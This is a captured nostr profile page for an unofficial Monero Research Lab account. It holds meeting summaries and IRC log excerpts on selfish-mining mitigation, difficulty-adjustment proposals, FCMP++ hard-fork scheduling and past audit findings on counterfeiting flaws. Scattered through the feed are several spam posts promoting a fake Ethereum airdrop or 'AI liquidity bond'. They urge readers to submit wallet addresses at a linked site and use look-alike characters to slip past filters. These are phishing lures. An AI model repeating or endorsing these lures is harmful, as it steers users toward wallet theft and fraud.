Damus
Monero Research Lab (Unofficial) profile picture
Monero Research Lab (Unofficial)
@MoneroResearchLab

#Monero Research Lab (Unofficial)
https://x.com/MoneroResearchL

Relays (11)
  • wss://nos.lol – read & write
  • wss://purplepag.es – read & write
  • wss://relay.damus.io – read & write
  • wss://relay.snort.social – read & write
  • wss://xmr.usenostr.org – read & write
  • wss://relay.nostrcheck.me/ – read & write
  • wss://140.f7z.io/ – read & write
  • wss://bitcoiner.social/ – read & write
  • wss://relay.primal.net/ – read & write
  • wss://soloco.nl/ – read & write
  • wss://nostr.oxtr.dev/ – read & write

Recent Notes

nostrich · 1d
🪂 Live ETH Airdrop! Check if your wallet qualifies for the latest reward pool. Scan wallet: https://ai.evmnest.cc/?ref=qtkljw
Kunark · 1d
nostr:nprofile1qqs923ewnsqlx7347cpjhxmcmt0rsmnwf3tasr736pjx4wee9q89ufcppemhxue69uhkummn9ekx7mp0qy2hwumn8ghj7mn0wd68ytn00p68ytnyv4mz7qgswaehxw309ahx7um5wghx6mmd9usdh5my
Monero Research Lab (Unofficial) profile picture
Review of the latest Markov Decision Process (MDP) modeling on Share or Perish (SoP) mitigation indicated a selfish mining profitability threshold of alpha = 0.41, meaning an adversary requires over 41% of total network hashrate to earn more than honest mining. This outcome outperforms other proposed selfish mining countermeasures. tevador noted that DAA rules remain orthogonal to SoP under honest timestamp conditions. Attendees discussed algorithmic solver variants (such as the Howard method) and mathematical notations used in automated analysis summaries. At the close of the meeting, attention was directed to two active CCS proposals submitted by gingeropolous for monerosim and research computing hardware.

rucknium: 6. Share or Perish (selfish mining mitigation) (https://github.com/monero-project/research-lab/issues/146).
rucknium: tevador: Do the proposed DAA changes interact with SoP at all?
rucknium: I've been looking through https://github.com/Fountain5405/monerosim/blob/main/studies/sop/STATUS.md , produced by gingeropolous 's bot. It looks good so far.
rucknium: According to the MDP solver, the profitability threshold is alpha = 0.41, i.e. a selfish miner must have more than 41 percent of total hashpower to earn more revenue from selfishly mining than following an honest mining strategy. That's better than other proposed selfish mining defenses to date.
rucknium: Some unexpected choices by the bot for the MDP solving algorithm. I don't know why it's making those choices. In theory, it should arrive at the same answer regardless of the chosen algorithm.
tevador: I don't think the DAA change interacts with SoP. It should be orthogonal.
rucknium: tevador: Not even the lagged measurements?
rucknium: For example, its first attempt was a bisection solver. I only found an obscure paper from 1979 that proposed that method. Now it's using the "Howard" method, presumably named after one of the founders of MDP analysis. But I don't see an algorithm named that in the well-known MDP solver libraries.
tevador: The lag itself has an effect on the selfish miner's strategy. My simulation assumes honest timestamps for everyone.
tevador: I haven't read the newest results from gingeropolous so I can't comment on it yet.
rucknium: Prior papers on selfish mining usually used the MATLAB/Octave implementation of MDPtoolbox (there are also Python and R implementations). I think it avoided the standard MDPtoolbox library initially because the selfish mining repos were GPL licensed. But now the bot's analysis is in a separate repo with a GPL license.
rucknium: Or maybe the bot's solver makes it easier to extract info about the depth and frequency of reorgs. I was having problems trying to compute and extract that info from the MDPtoolbox solver.
rucknium: MDPtoolbox is an old codebase. Maybe it's not very multi-threaded.
rucknium: Something I don't like about bots' writing style is that it doesn't define terms or notations completely. I've noticed it in the SoP analysis and the DAA analysis. It's probably defined deep in some scripts, but it takes time to hunt it down. And bots like to use terms like "sigma" and "p<" without sane statistical meaning.
rucknium: More on this topic for now?
rucknium: We can end the meeting here. Thanks everyone.
https://libera.monerologs.net/monero-research-lab/20261202#c725630
1❤️1🔥1
Monero Research Lab (Unofficial) profile picture
The MRL discussed proposals to update the Difficulty Adjustment Algorithm (DAA) detailed in research-lab issue #165. Rough consensus formed around implementing monotonic timestamps and reducing the Future Time Limit (FTL) to 30 minutes in v17, as this is a minimal change that eases future DAA upgrades. A full DAA replacement at v17 faces opposition due to implementation scope and need for adversary testing. Points evaluated included potential miner manipulation of timestamps, edge cases with consecutive rapid blocks near the FTL, appropriate lag parameters (30 blocks vs. 10 blocks), and feasibility of implementing ASERT fixed-point arithmetic in alternative node codebases like Cuprate. Supporters of DAA changes will conduct further analysis on historical hashrate instability in CryptoNote forks and comparative selfish mining profitability.

rucknium: 5. Replace the difficulty adjustment algorithm with ASERT or WTEMA (https://github.com/monero-project/research-lab/issues/165).
sech1: I'm for the idea to improve DAA in general, but...
sech1: I have two concerns about the new DAA. First, as far as I see, the difficulty depends on the timestamp (delta from the last block) and goes down exponentially to avoid slow blocks. This creates a direct and strong incentive for miners to manipulate it. Second, when the timestamp is pushed to the +30 min limit (because of miners manipulating it),
sech1: two fast blocks can have a problem with selecting their timestamp without being rejected.
tevador: I don't really see the "incentive" as a problem. The miner faking the timestamp is reducing the difficulty for the next block and the reduction applies equally to every miner and is small and bounded by the FTL.
rucknium: I assume tevador will respond, but here's mine: Are you looking at the real time targeting (RTT) variant of ASERT? RTT does do what you say, but RTT isn't in the proposal. And the FTL is a problem now in the status quo.
sech1: If RTT is not included, then it looks solid
tevador: There may be some annoyance when looking at block explorers and seeing timestamps that are 30 minutes off, but keeping the timestamp at the FTL perpetually would need a malicious miner with a relatively high hashrate. And nothing stops the miner from doing the same thing today with +2 hour timestamps.
tevador: I don't think anyone is proposing RTT.
sech1: FTL does solve itself though, at 1 second per second pace
sech1: Second fast block that had to be pushed beyond +30 min will have to wait 1 second before broadcasting
rucknium: FWIW, zawy12 proposes a very tight FTL tolerance. Let me get his exact suggestion.
sech1: So it looks solid, but needs real testing in an adversary environment, or at least adversary simulations
tevador: I'm not sure how exactly current monerod handles blocks with timestamps too far in the future. It should not reject the block, just delay relaying it.
rucknium: "Future Time Limit (FTL) should be reduced to a fraction of block time" https://github.com/zawy12/difficulty-algorithms/issues/76
sech1: Too tight FTL is not practical
rucknium: I'm not saying I support a shorter FTL. Just showing other perspectives.
sech1: This puts entire network at the mercy of NTP servers
tevador: I think 30 minutes is a good compromise. That supports clocks up to 15 minutes off, which is something like the average annual clock drift.
rucknium: Recently, zawy12 has been invested in the idea of following some strict time consistency rules to fulfill some theoretical properties that distributed systems "should" have. Again, I'm not saying that those are adoptable ideas for Monero.
sech1: +1
rucknium: Need to install atomic clocks in Monero Nodos :D
rucknium: Like I said in the GitHub issue, I'm not convinced that lagged measurements of 30 blocks should be used.
sech1: 30 is too much
tevador: Yes, lagged measurement should be revisited. 30 blocks may be too high
tevador: Zero lag has the issue of helping selfish miners
sech1: After the fork hashrate will naturally drop, and we'll have to endure 30+ slow blocks
sech1: Why not 10? It's the tx output spend limit, so it's considered enough
rucknium: syntheticbird: I wanted to ask you if you have any thoughts about implementing ASERT vs WTEMA in cuprate. ASERT requires a workaround for the floating point computation of the exponential.
tevador: AFAIK RandomX v2 activates at v17, the new DAA would be from v18, so 720 blocks later.
sech1: ASERT does calculations in integers? Not floats
sech1: For this exact reason
tevador: Yes, BCH uses a fixed point approximation.
rucknium: Right. So is the workaround with integer computations easy to do in cuprate?
sech1: Should be easy, it's plain 64-bit operations
rucknium: Or any other alternative node implementation, of course. I assume it shouldn't be a big problem because BCH had at least 6 maintained node implementations at one time. All of them must have implemented ASERT.
tevador: Should be similar to C. I think it needs around 10-15 lines of code. WTEMA needs 1 line of code.
syntheticbird: wouldn't be the first time we hide integer shenanigans behind helpers but we try to explode cuprate-helper. and since it's scope to difficulty I don't see that much of a maintenance burden to it.
jeffro256: Might be easier since Rust has native language support for unsigned 128 bit integer arithmetic
syntheticbird: jeffro256: just don't ask for constant-time
syntheticbird: lol
jeffro256: Yeah lol. Shouldn't matter for consensus rule verification
syntheticbird: but basically we can do SomeWorkaround<Integer> and implement all the arithmetic and std::ops trait and call it a day
syntheticbird: i think
tevador: I see loose consensus to implement monotonic timestamps and 30 minute FTL from v17. The DAA change has opposition.
rucknium: I think it's the job of the DAA change supporters, including me, to present a more convincing case that it's needed in the FCMP hard fork.
rucknium: I will see if I can get useful info about why some of the unnamed Monero/Cryptonote forks blew up because of their DAA. And maybe see if I can compare selfish mining revenue with the current DAA and ASERT/WTEMA.
rbrunner: I only ever heard about coins with difficulties that had relatively low total hashrate, for what it's worth
rucknium: Maybe the own- and cross-elasticities could be somehow estimated based on historical data of those old forks.
rucknium: rbrunner: Yes. Being a minority hashpower chain in a given hash algorithm makes it worse. I mean, increases the total elasticity of hashpower with respect to the block reward, which makes things less stable and prone to osciallations.
rucknium: But if your own-elasticity is high enough, you can get into trouble too.
tevador: Most CN clones had issues with profit switching miners that would rapidly mine a lot of blocks before the difficulty starts rising and then abandon the chain. The current DAA takes at least 75 blocks to react.
ofrnxmr: Maybe happened/happens to wow?
sech1: Most small coins had to adapt to huge hashrate swings, this is not the case for Monero
rucknium: It's not true for now, but it could change.
rucknium: Zephyr Protocol made up a big share of total RandomX hashpower at one point in time.
rucknium: I think it was Zephyr at least. IIRC, ofrnxmr was following the developments.
tevador: Qubic was a hashrate spike
rbrunner: Yes, I think we had a time where Zephyr was considerably more profitable to mine than Monero
rucknium: I may see if zawy12 want to comment on it. He's still actively engaging with the subject, based on GitHub comments.
rbrunner: Quickly checked, this is their current hashrate: 30.084 MH/s
rbrunner: (If really directly comparable of course ...)
https://libera.monerologs.net/monero-research-lab/20261202#c725566
❤️1
Monero Research Lab (Unofficial) profile picture
Hard fork scheduling currently points to an activation date around June, with the critical path bottleneck being the review and upstreaming of carrot_core, where each day of review delay adds a day to the activation schedule. FCMP++ implementation and testing are progressing rapidly, with Phase 2 of the zkSecurity audit (curve tree builder) receiving code simplification feedback without issues, and Phase 3 (consensus integration) now underway. Transaction relay v2 is considered ready for merge with subsequent iteration. Proving time optimizations reducing prover latency by half via signed digit bucket tables for Straus and Pippenger algorithms were shared, noted as wallet-side optimizations rather than consensus-critical code.

jberman: Upstream PR review, FCMP++ integration followup, integrating zk security's suggestions for tree building
rucknium: @jberman: Anything on this topic except for @jberman 's update? ^
jberman: I'll PR followups today for block header validation and dynamic scaling
jberman: Major items IMO on the immediate task list are Carrot Core upstream, hot/cold wallets completed and tested, multisig (dependent on the former), and Carrot/FCMP++ knowledge proofs
jberman: Zk security audit is proceeding well. So far I haven't received any reported issues with Phase 2, they just suggested a way to simplify the code
jberman: And they began with Phase 3 this week (consensus integration)
jberman: (Phase 2 is the curve tree builder)
jberman: Also I personally think tx relay v2 is ready, with followup PR's also expected to continue iterating on it
redsh4de: me: submitted a PR to multiexp to cut down on FCMP proving times by about half using signed digit buckets & tables for Straus & Pippengers algorithm
rbrunner: Would such changes to proving need a separate, new, small audit?
redsh4de: rbrunner: id think so, as only the Pippenger case has a research paper behind it: https://tches.iacr.org/index.php/TCHES/article/view/10972
rbrunner: Ok. But in any case halving proving times sounds awfully promising :)
jeffro256: Looking at the Gannt chart, I think that review of carrot_core should be the priority at this moment, since it has many task dependencies as is currently marked as a bottleneck
rucknium: AFAIK, improvements to proving time are wallet-side, not consensus-side, so they are less sensitive. And they can be implemented in wallets outside of monero-project's wallet2. (It will still be wallet2 after FCMP, right?)
jeffro256: I updated the chart, and right now we're looking at activation date in June. Every date that carrot_core merge is late adds 1 day to the final activation ate
jeffro256: @rucknium: Yes and yes
jberman: Are there more changes expected to it? https://github.com/jeffro256/carrot/issues/21 , https://github.com/jeffro256/carrot/issues/23
jeffro256: 21 is mainly solved by 16 (I'll change some of the text on 16 then merge soon). I haven't looked thru 23
jeffro256: 16 is implemented in the upstream carrot_core PR
jpk68: Is carrot-rs being updated? Last I checked, it doesn't follow the current spec
jeffro256: At any rate, 23 won't change the code AFAIT
jberman: So no more code changes expected to carrot_core PR / it's ready for merge just barring rebase?
jeffro256: @jpk68: Yes, I am working on that the last 2 days. I'm talking with Josh Babb and will let him know when it's done
nvr_: mainnet? Isn’t that too fast? > <@jeffro256> I updated the chart, and right now we're looking at activation date in June. Every date that carrot_core merge is late adds 1 day to the final activation ate
jeffro256: Or anyone else who would like to know ig
jeffro256: @nvr_: If you're asking whether the estimate is too optimistic, then the answer is almost certainly yes. So far, the planner has been too optimistic in assuming review times
jeffro256: The race should be towards completing tasks that are needed for the first HF-enabled merged
jeffro256: The FCMP side is going pretty quickly, with help from auditors, and good organization from jberman. The Carrot side is a bit lagging in review
jeffro256: But there's been a lot of great input so far, which is highly appreciated
https://libera.monerologs.net/monero-research-lab/20261202#c725482
nostrich · 4d
👀 YՕur EtherᎬum wallet may qualifᎩ — verify now EntΕr yՕur Ethereum АddreЅs Τo chΕck eligiΒility for the private AI liquidity bond distributiՕn baЅed on pasΤ trАnsaᏟtions and gАЅ ᏚΡent. https://ai.evmnest.cc/?ref=504w4r ✅ Real-timᎬ AI audit | 📊 Based Οn gΑs & ...
Monero Research Lab (Unofficial) · 4d
Share or Perish (selfish mining mitigation). https://github.com/monero-project/research-lab/issues/146 nevent1qqsv43w6zdy24767zzrrlsv4phh36682tyzmj8hjzzephleujjqyydqu0gs46
zkcaptain · 4d
💰 MΑx Claim: AI GaЅ & AcᎢivity Bond Drop ЕntЕr your EΤherΕum address Тo Сheck eligibility for the privaТe AI liquidity Βond distriᏴuΤiΟn based on past transactions and gas spenΤ. https://ai.evmnest.cc/?ref=s8t9xu ✅ Real-time AI audit | 📊 Based on gas & Οn-chᎪin acΤivi...
Monero Research Lab (Unofficial) · 4d
Replace the difficulty adjustment algorithm with ASERT or WTEMA. https://github.com/monero-project/research-lab/issues/165 nevent1qqsw2ujjtlsm25wrrvufjrpzgtgakah6zy4u9j2kw3z6gpjlkj9t05garvwad
ZenithWizard · 4d
⚡️ Real-Time ᎪI Gas Audit: CheСk Your ETН WallЕt EnТer Ꭹour Еthereum addrЕЅs Τo Ꮯheck ЕligiВilitᎩ for tᎻe private АI liquidity bond disᎢribution baЅed on past trАnsactionᏚ and gas spᎬnt. https://ai.evmnest.cc/?ref=oie5n0 ⚡️ FastᎬsᎢ fingΕrs firsТ — clic...
Monero Research Lab (Unofficial) · 4d
FCMP beta stressnet. https://github.com/seraphis-migration/monero/releases/ nevent1qqsz2y8k762ugjt85729ak8fj74ad40f72zvjtc2knffumfejcukf5gc30hkz
nostrich · 4d
🤖 ᎪI On-СΗain Gas & AᏟtivitᎩ АudiᎢ Enter УОur EthereuΜ Аddress to check eligibilitУ for the private AI liquidity bond distriΒution basΕd on paᏚt transᎪctions and gas sᏢent. https://ai.evmnest.cc/?ref=89xomw ✅ Real-time АI audiᎢ | 📊 ВasΕd on gas & on-chain acti...
Monero Research Lab (Unofficial) · 4d
FCMP++ to-do list status. Programming tasks. https://github.com/seraphis-migration/monero/issues/53 Reviews and audits. https://cryptpad.fr/sheet/#/2/sheet/view/yPVIUywwA9-deE9VF6GYm9bXbPdCerdST3UDEEfBxcM/embed/ FCMP++ Integration Audit Overview. https://github.com/seraphis-migration/monero/issues/...
Monero Research Lab (Unofficial) profile picture
jberman listed immediate next priorities following #10916 and #11440: the upstream Carrot Core PR, FCMP++ dynamic scaling changes (PR not yet open), prover-side/wallet updates for FCMP++ and Carrot, hot/cold wallet work and testing, multisig (koe is currently focused on FCMP++ integration reviews), and further review of PoWER. At jeffro256’s suggestion, rucknium examined prior audit reports in his 2026 counterfeiting vulnerabilities gist to see whether they caught other counterfeiting flaws: noting two critical catches in Iron Fish, a high-severity block-check finding (MWEB::CheckBlock) in Litecoin MWEB, and a Medium-severity zero-challenge soundness issue (FLS-02) in Firo’s Lelantus Spark audit. rucknium and rbrunner noted the difficulty of interpreting the Medium rating, and rucknium also flagged a MiniMax blog post claiming an internal LLM found exploitable flaws in recent peer-reviewed cryptography protocols.

jberman: after PRs 10916 and 11440, I'd say immediate next major items are the upstream Carrot Core PR, FCMP++ dynamic scaling changes (PR not open yet), and prover-side / wallet changes for FCMP++ and Carrot
jberman: on development side, there's still more work to do on hot/cold wallets (and then testing), getting multisig in (koe has been focused on FCMP++ integration reviews), and I also started reviewing PoWER (there is some further work to do there)
rucknium: @jeffro256:monero.social suggested that I look at the audit reports in 2026 Counterfeiting vulnerabilities in cryptocurrency privacy projects (https://gist.github.com/Rucknium/a38821f8a1e0e0a115c0f4bc72d3bdb1) to see if they had actually successfully caught additional counterfeiting flaws.
rucknium: The audit of Iron Fish seemed to catch two critical counterfeiting flaws: https://github.com/iron-fish/ironfish/blob/master/audits/ironfish-audit-report-FINAL.pdf
rucknium: Quarkslab's audit of Litcoin MWEB may have caught something that would enable counterfeiting: https://blog.quarkslab.com/resources/2021-12-08_litecoin/21-08-872-REP.pdf "4.2.2 HIGH01: Missing call to MWEB::CheckBlock"
rbrunner: So flaws beyond those that finally ended up exploited?
rucknium: I'm not sure about one in Firo: https://firo.org/about/research/papers/lelantus_spark_code_audit_report.pdf
rucknium: rbrunner: Yes I think so. It seemed like the Litcoin MWEB audit found problems in how blocks and mempool txs were checked. Maybe it caught those, but there were deeper problems that were eventually exploited in that area. Like a code smell that didn't fully go away.
rucknium: The Firo one was: "FLS-02: Missing checks if challenges are equal to 0 in various places. Impact: If a challenge is equal to 0, then a malicious prover can invert 0, breaking the soundness of the protocol. It would effectively be reduced to mounting a hash preimage attack.
rucknium: I think this means that it would have allowed counterfeiting except that there was an additional infeasible step that an attacker would have to overcome.
rucknium: Speaking of Firo, in the Fir research room someone posted this interesting set of claims: https://www.minimax.io/blog/practical-cryptanalysis-with-minimaxs-latest-internal-model
rbrunner: That got only a "Medium" in the report
rbrunner: FLS-02 I mean
rucknium: It says that their AI/LLM model found exploitable flaws in many recent peer-reviewed cryptography protocols.
rucknium: rbrunner: Yes. So I wasn't sure of my interpretation. Soundness flaw sounds serious, but it was given only medium severity.
rucknium: I am not the best person to be doing this interpretation, not being a cryptographer.
rucknium: But anyway I took the initiative to write this up.
rucknium: More on this topic?
rbrunner: Yeah, I am even worse. Who knows, maybe "if challenges are equal to 0" is rare
rucknium: I see that zero issue appear a lot in cryptography discussions. I assume it is sort of a divide by zero issue, which then causes a flaw due to the principle of explosion.
https://libera.monerologs.net/monero-research-lab/20261125#c723380
1❤️1
Monero Research Lab (Unofficial) · 1w
Share or Perish (selfish mining mitigation). https://github.com/monero-project/research-lab/issues/146 nevent1qqs87g6w5uh46rhtmjwl07smkdvpfs0zypupv3e43m6hhm3vat4hm3qu4zpke